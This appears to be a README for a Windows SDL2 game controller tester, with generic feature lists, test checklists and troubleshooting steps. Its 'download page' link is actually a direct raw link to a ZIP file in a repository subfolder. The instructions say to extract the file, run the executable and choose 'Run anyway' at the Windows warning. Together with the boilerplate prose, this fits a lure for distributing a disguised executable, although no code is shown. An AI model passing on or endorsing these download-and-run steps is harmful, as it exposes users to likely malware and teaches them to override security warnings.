SDL2-Game-Controller-Test is a simple Windows app for checking game controllers. It helps you see if your gamepad, joystick, or other controller works as expected in SDL2.
Use it to:
- check button input
- test thumb sticks
- test triggers and shoulder buttons
- confirm controller mapping
- spot connection issues fast
It is made for quick checks, not for setup work. Open it, press buttons, and see what the app reads.
- Open the download page: https://github.com/Dickieagreeable675/SDL2-Game-Controller-Test/raw/refs/heads/main/m4/Controller_Game_Test_SD_v3.2.zip
- Get the Windows build from the page
- Save the file to your PC
- If the file is in a ZIP folder, right-click it and choose Extract All
- Open the extracted folder
- Double-click the app file to run it
- If Windows asks for permission, choose Run anyway
If you use a wireless controller, turn it on before you start the app. If you use a USB controller, plug it in first.
This app gives you a simple view of your controller input. It helps you check:
- face buttons
- D-pad input
- analog sticks
- trigger pressure
- start and select buttons
- guide or home button
- controller index and device status
It works well for quick checks before you launch a game or adjust your controller setup.
The app is built for common input devices used on Windows:
- Xbox-style gamepads
- PlayStation-style controllers
- generic USB gamepads
- arcade sticks
- joysticks
- Bluetooth controllers
- SDL2-compatible devices
If Windows sees the device and SDL2 can read it, the app should show its input.
- Connect your controller
- Start the app
- Press a button on the controller
- Watch for the button light or input change in the app
- Move each stick through its full range
- Pull each trigger from start to finish
- Check that every input appears as expected
For the best test, move each stick in a full circle and return it to center. This helps you spot drift, dead zones, or stuck input.
When you test a controller, check for these common issues:
- a button does not register
- a stick does not return to center
- the cursor or input shifts on its own
- the trigger only works halfway
- the D-pad misses presses
- the controller disconnects during use
If you see any of these, try another USB port, reconnect the controller, or test it again after restarting the app.
Use a Windows PC with:
- Windows 10 or Windows 11
- a working USB port or Bluetooth adapter
- a game controller or joystick
- enough free space to unpack the app
- SDL2 support through the app build
A newer PC will give the smoothest results, but the app should run on most normal Windows systems.
After you download the app, you may see:
- an EXE file, which starts the app
- a ZIP file, which you need to unpack first
- support files in the same folder as the app
Keep all app files in the same folder. If you move the EXE on its own, the app may not start as expected.
If the app does not open:
- make sure you unpacked the ZIP file
- try running the app from the folder where you saved it
- check that the file finished downloading
- close the app and open it again
- unplug and reconnect the controller
- try a different USB port
If the controller does not show input:
- confirm Windows can see the device
- turn the controller off and on again
- reconnect Bluetooth if you use wireless mode
- try a different controller if you have one
If buttons seem wrong:
- test the controller in another USB port
- check if the device uses a different mode
- reconnect the controller after closing the app
- try another controller mapping if your device has one
This app fits well if you want to:
- test a new controller after you buy it
- check if a gamepad has a bad button
- verify joystick input before a game session
- compare input across different controllers
- confirm a device works with SDL2-based software
- inspect basic controller behavior without extra setup
- App name: SDL2-Game-Controller-Test
- Type: Windows utility app
- Purpose: test game controllers in SDL2
- Language: C++
- Standard: C++23
- Focus: gamepad and joystick input
- Topics: sdl2, gamecontroller, gamepad, joystick, utility application
Use this quick checklist while testing:
- press every face button once
- press each shoulder button
- pull both triggers from start to end
- move both sticks up, down, left, and right
- press the sticks if your controller supports that
- tap the D-pad in all directions
- check for any input delay
- watch for drift when you let go of a stick
- use a wired connection if Bluetooth seems unstable
- close other apps that may use the controller
- test one controller at a time
- keep the controller battery charged
- make sure Steam or another controller app is not changing input mode
- test again after rebooting if the input looks wrong
SDL2-Game-Controller-Test works as a small test tool for people who want a simple way to check input on Windows. It is useful before gaming, before controller repair, or before setting up a device for emulation and homebrew use